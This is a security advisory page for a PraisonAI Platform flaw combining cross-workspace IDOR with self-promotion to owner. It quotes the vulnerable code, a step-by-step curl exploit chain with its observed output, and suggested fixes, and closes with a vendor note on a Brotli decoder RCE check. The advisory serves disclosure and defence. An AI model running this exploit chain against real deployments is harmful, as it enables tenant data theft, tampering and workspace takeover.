New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-48169

NVDCIRCLENISA

EUVD-2026-54685 · Published May 29, 2026

PraisonAI has Cross-Workspace IDOR and Privilege Escalation via Platform API

Summary

The PraisonAI Platform API has two authorization failures that together break workspace isolation. The service layer for issues and projects performs global primary-key lookups without checking workspace ownership, so any authenticated user can read, modify, and delete resources in any workspace just by swapping UUIDs in their API requests. On top of that, every member management endpoint (add, update role, remove) only requires min_role="member", which lets any workspace member promote themselves to owner and kick out the original owner. A low-privilege member of one workspace can steal data from every other workspace and take over any workspace they belong to.

Both issues come from the same gap: the route layer pulls workspace_id from the URL and verifies membership, but the service layer ignores the workspace scope for resource lookups and ignores the caller's role level for member operations. The require_workspace_member() dependency does its job correctly. The problem is that the service layer doesn't use the information it provides.

Details
Part 1: Cross-Workspace IDOR (Issues and Projects)

Vulnerable Files:

  • praisonai_platform/services/issue_service.py
  • praisonai_platform/services/project_service.py
  • praisonai_platform/api/routes/issues.py
  • praisonai_platform/api/routes/projects.py

There is a consistent split between the route layer and the service layer. Routes pull workspace_id from the URL and verify membership:

GET /api/v1/workspaces/{workspace_id}/issues/{issue_id}
                        ^^^^^^^^^^^^^^
                        require_workspace_member() checks this

But the service methods these routes call perform global lookups that ignore workspace_id entirely:

IssueService.get(), line 72:

async def get(self, issue_id: str) -> Optional[Issue]:
    """Get issue by ID."""
    return await self._session.get(Issue, issue_id)

ProjectService.get(), line 47:

async def get(self, project_id: str) -> Optional[Project]:
    """Get project by ID."""
    return await self._session.get(Project, project_id)

Both use session.get(Model, pk), which is a global lookup by primary key with no WHERE workspace_id = ? filter.

Compare that with the properly scoped list_for_workspace() methods in the same files:

IssueService.list_for_workspace(), line 76:

async def list_for_workspace(self, workspace_id: str, ...) -> list[Issue]:
    stmt = select(Issue).where(Issue.workspace_id == workspace_id)
    # ... properly scoped

The listing is scoped correctly. The get, update, and delete methods are not. Since update() and delete() in both services call self.get() internally, the workspace bypass cascades through all write operations too.

Route that discards workspace_id, issues.py line 82:

@router.get("/{issue_id}", response_model=IssueResponse)
async def get_issue(
    workspace_id: str,                                        # Extracted from URL
    issue_id: str,
    user: AuthIdentity = Depends(require_workspace_member),   # Membership verified
    session: AsyncSession = Depends(get_db),
):
    svc = IssueService(session)
    issue = await svc.get(issue_id)   # workspace_id never passed to service

All affected operations:

Service Method Line Workspace scoped?
IssueService get() 72 No, uses session.get(Issue, issue_id)
IssueService update() 97 No, calls self.get(issue_id)
IssueService delete() 150 No, calls self.get(issue_id)
IssueService list_for_workspace() 76 Yes, filters by workspace_id
ProjectService get() 47 No, uses session.get(Project, project_id)
ProjectService update() 62 No, calls self.get(project_id)
ProjectService delete() 88 No, calls self.get(project_id)
ProjectService get_stats() 97 No, only filters by project_id
ProjectService list_for_workspace() 51 Yes, filters by workspace_id
Part 2: Workspace Takeover via Missing Role Enforcement

Vulnerable Files:

  • praisonai_platform/api/routes/workspaces.py (member management routes)
  • praisonai_platform/api/deps.py (authorization dependency)
  • praisonai_platform/services/member_service.py (role hierarchy implementation)

The authorization dependency supports role-based access:

require_workspace_member(), deps.py line 54:

async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",         # Accepts higher roles, but nobody passes them
) -> AuthIdentity:
    member_svc = MemberService(session)
    has = await member_svc.has_role(workspace_id, user.id, min_role)
    if not has:
        raise HTTPException(status_code=403, ...)

The has_role() method correctly implements role hierarchy:

MemberService.has_role(), member_service.py line 80:

async def has_role(self, workspace_id, user_id, required_role) -> bool:
    """Role hierarchy: owner > admin > member."""
    member = await self.get(workspace_id, user_id)
    if member is None:
        return False
    role_levels = {"owner": 3, "admin": 2, "member": 1}
    user_level = role_levels.get(member.role, 0)
    required_level = role_levels.get(required_role, 0)
    return user_level >= required_level

This works correctly, but no route ever calls require_workspace_member with min_role="owner" or min_role="admin". Every member management route uses the default "member":

Self-promotion, workspaces.py line 115:

@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)
async def update_member_role(
    workspace_id: str,
    user_id: str,
    body: MemberUpdate,
    user: AuthIdentity = Depends(require_workspace_member),  # min_role="member"
    session: AsyncSession = Depends(get_db),
):
    member_svc = MemberService(session)
    member = await member_svc.update_role(workspace_id, user_id, body.role)
    # No check: is user modifying their own role? (self-promotion)
    # No check: is body.role > caller's current role? (escalation)
    # No check: is target a higher role than caller? (modifying superiors)

Owner removal, workspaces.py line 130:

@router.delete("/{workspace_id}/members/{user_id}", status_code=204)
async def remove_member(
    workspace_id: str,
    user_id: str,
    user: AuthIdentity = Depends(require_workspace_member),  # min_role="member"
    ...
):
    member_svc = MemberService(session)
    removed = await member_svc.remove(workspace_id, user_id)
    # No check: is target a higher role than caller?
    # No check: is this the last owner?

Three checks are missing from update_member_role: self-modification, upward escalation, and modifying superiors. Two checks are missing from remove_member: role hierarchy and last-owner protection.

PoC

Prerequisites:

  • A running PraisonAI Platform instance with default configuration
  • No special configuration required

Server setup:

cd /path/to/PraisonAI
pip install -e "src/praisonai-platform"
python -m uvicorn praisonai_platform.api.app:create_app \
  --factory --host 127.0.0.1 --port 8000
Scenario: Full attack chain (IDOR + Privilege Escalation)

Step 1: Victim (CEO) creates workspace with sensitive data

BASE="http://127.0.0.1:8000/api/v1"

# Register CEO
VICTIM=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"ceo@targetcorp.com","password":"Secure123!","name":"CEO"}')
VICTIM_TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM_ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

# CEO creates workspace with confidential issue
VICTIM_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"name":"Executive Board"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

ISSUE_ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/issues/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"title":"M&A Target List","description":"Acquiring CompanyX for $2B. Board approved. Do not disclose."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Victim workspace: $VICTIM_WS"
echo "Secret issue: $ISSUE_ID"

Step 2: Attacker registers and creates their own workspace

ATTACKER=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"Evil123!","name":"Attacker"}')
ATK_TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK_ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

ATK_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"name":"Attacker WS"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

Step 3: IDOR - Attacker reads victim's confidential issue through their own workspace

curl -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output (HTTP 200):

{
  "id": "<ISSUE_ID>",
  "workspace_id": "<VICTIM_WS>",
  "title": "M&A Target List",
  "description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
  "status": "backlog"
}

The response contains the victim's workspace_id, which is different from the workspace in the request URL. The request was scoped to $ATK_WS but returned data from $VICTIM_WS.

Step 4: IDOR - Attacker modifies victim's issue

curl -sfL -X PATCH "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"title":"TAMPERED - M&A Target List"}'

Observed output (HTTP 200): Title updated across workspace boundary.

Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)

curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d "{\"user_id\":\"$ATK_ID\",\"role\":\"member\"}" > /dev/null

Step 6: Privilege escalation - Member promotes self to owner

PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')"

Observed output:

Role: owner

The member used their own member-level token to promote themselves to owner.

Step 7: Privilege escalation - Attacker removes original owner

curl -sLo /dev/null -w "HTTP %{http_code}" -X DELETE \
  "$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output: HTTP 204 - CEO removed from their own workspace.

Step 8: Verify - Attacker is sole owner

curl -sfL "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output:

[
  {
    "workspace_id": "<VICTIM_WS>",
    "user_id": "<ATK_ID>",
    "role": "owner"
  }
]

The CEO is locked out. The attacker is now the sole owner of "Executive Board" and all its data.

Impact
  • Complete multi-tenant data breach: Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (/workspaces/{workspace_id}/...) implies tenant isolation but provides none.
  • Cross-workspace data tampering: An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.
  • Cross-workspace data deletion: An attacker can delete issues and projects belonging to other workspaces.
  • Workspace takeover from member role: Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.
  • No recovery mechanism: After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.
  • Chain amplifies impact: The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all data platform-wide and take ownership of any workspace they are invited to.

Suggested Fix

1. Scope all service get/update/delete methods to workspace_id

# issue_service.py, replace get() at line 72:
async def get(self, issue_id: str, workspace_id: str) -> Optional[Issue]:
    """Get issue by ID, scoped to workspace."""
    issue = await self._session.get(Issue, issue_id)
    if issue is None or issue.workspace_id != workspace_id:
        return None
    return issue

# Apply the same pattern to update(), delete(), and all ProjectService methods

2. Pass workspace_id from routes to services

# issues.py, fix get_issue at line 82:
issue = await svc.get(issue_id, workspace_id)  # Now workspace-scoped

3. Require owner role for member management and add escalation guards

# workspaces.py, fix update_member_role:
user: AuthIdentity = Depends(
    lambda **kw: require_workspace_member(**kw, min_role="owner")
)

# Add self-modification and last-owner guards:
if user_id == user.id:
    raise HTTPException(403, "Cannot change your own role")

# Fix remove_member:
target = await member_svc.get(workspace_id, user_id)
if target and target.role == "owner":
    owners = [m for m in await member_svc.list_members(workspace_id) if m.role == "owner"]
    if len(owners) <= 1:
        raise HTTPException(403, "Cannot remove the last owner")

Technologies

Praisonai-Platform Praisonai-Platform

Weaknesses

CWE-862CWE-639

CVSS scores

  • v3.18.8CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access Persistence Stealth Defense Impairment Credential Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot